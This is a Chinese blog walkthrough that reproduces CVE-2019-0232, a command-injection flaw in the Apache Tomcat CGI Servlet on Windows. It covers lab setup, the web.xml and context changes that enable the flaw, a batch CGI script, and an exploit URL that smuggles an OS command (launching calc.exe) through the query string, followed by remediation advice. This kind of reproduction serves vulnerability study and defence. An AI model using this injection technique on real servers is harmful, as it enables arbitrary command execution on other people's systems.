CVE-2019-0232漏洞复现

漏洞背景介绍:

        2019年4月13号,Apache Tomcat 9.0.18版本公告中提到,本次更新修复了一个代号为CVE-2019-0232的漏洞。该漏洞只对Windows平台有效,Apache Tomcat 9.0.0.M1到9.0.17,8.5.0到8.5.39和7.0.0到7.0.93中的CGI Servlet很容易受到远程执行代码的影响,攻击者向CGI Servlet发送一个精心设计的请求,可在具有Apache Tomcat权限的系统上注入和执行任意操作系统命令。漏洞成因是当将参数从JRE传递到Windows环境时,由于CGI_Servlet中的输入验证错误而存在该漏洞。

复现环境:

tomcat8.5.39 

windows10x64

JDK 1.8.0_201

漏洞影响范围:

Apache Tomcat 9.0.0.M1 to 9.0.17

Apache Tomcat 8.5.0 to 8.5.39

Apache Tomcat 7.0.0 to 7.0.93

复现过程:

JDK配置:

下载好JDK,我用的是JDK 1.8.0_201

在此电脑处鼠标右键单击,选择“属性”

 点击高级系统设置:

 点击环境变量:

 在系统变量中新建一个变量:

变量名:JAVA_HOME

变量值:(JDK的安装路径,在前面安装时最好把它复制下来)

 修改系统环境变量中的path

在最后加入%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin;

新加一条系统变量CLASSPATH

变量名:CLASSPATH

变量值为.;%JAVA_HOME%\lib;%JAVA_HOME%\lib\tools.jar(注意前面有个.)

 做完这些后打开cmd输入:java -version

如果能查看版本信息那就说明配置成功了

接下来就是tomcat8.5.39的环境搭建

 tomcat8.5.39的搭建:

下载apache-tomcat-8.5.39-windows-x64压缩包

Index of /dist/tomcat/tomcat-8/v8.5.39https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/

进去之后是这样子的:

一堆英文,大概是说bin/里装的是各大版本的tomcat的压缩包,src/里装的是tomcat各版本的源码

 所以我们点击bin/在里面找到对应的版本:

 下载好后解压打开

更改web.xml下的cgi:

打开apache-tomcat-8.5.39/conf/web.xml

选择用记事本打开:

 大约在375行左右,找到这一串代码,将注释符去掉:

 然后将这段代码添加进去:

<init-param>

<param-name>executable</param-name>

<param-value></param-value>

</init-param>

<init-param>

<param-name>enableCmdLineArguments</param-name>

<param-value>true</param-value>

</init-param>

添加在这个位置:

 更改web.xml下的cgi的mappings注释去掉:

继续往下翻,在419行的位置将这段代码的注释去掉:

配置使有启动CGI_Servlet的权限:(不配置会出现404的情况)

打开同目录下的content.xml文件:

 找到最后一段代码:

在Context后面添加privileged="true"语句 如下图

到这里环境搭建就已经完成了

Shutdown.bat为关闭tomcat,startup.bat为启动tomcat

重启后访问:http://localhost:8080

 说明环境配置成功。

在webapps/ROOT/WEB-INF文件夹下新建cgi-bin

在cgi-bin里新建hello.txt,写入如下代码:

@echo off
echo Content-Type: test/plain
echo.
set foo=&~1
%foo%

将hello.txt的后缀名改为bat

注:也可以将hello改成自己喜欢的名字,后续中将hello全部改成你命名的名字即可

重启tomcat后(Shutdown.bat为关闭tomcat,startup.bat为启动tomcat,先关闭再启动)

访问http://localhost:8080

在http://localhost:8080/cgi-bin/hello.bat?&C:\Windows\System32\后加系统指令(像红字部分这样构造url),例如:
打开计算器:
http://localhost:8080/cgi-bin/hello.bat?& C:\Windows\System32\calc.exe

其他的指令就不一个一个来试了,可以自己研究。

漏洞修复建议:

在Tomcat安装路径的conf文件夹下,使用记事本打开web.xml,找到enableCmdLineArguments参数部分将true值改为false

在conf/web.xml中覆写采用更严格的参数合法性检验规则。
升级tomcat到9.0.17以上版本。

                

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值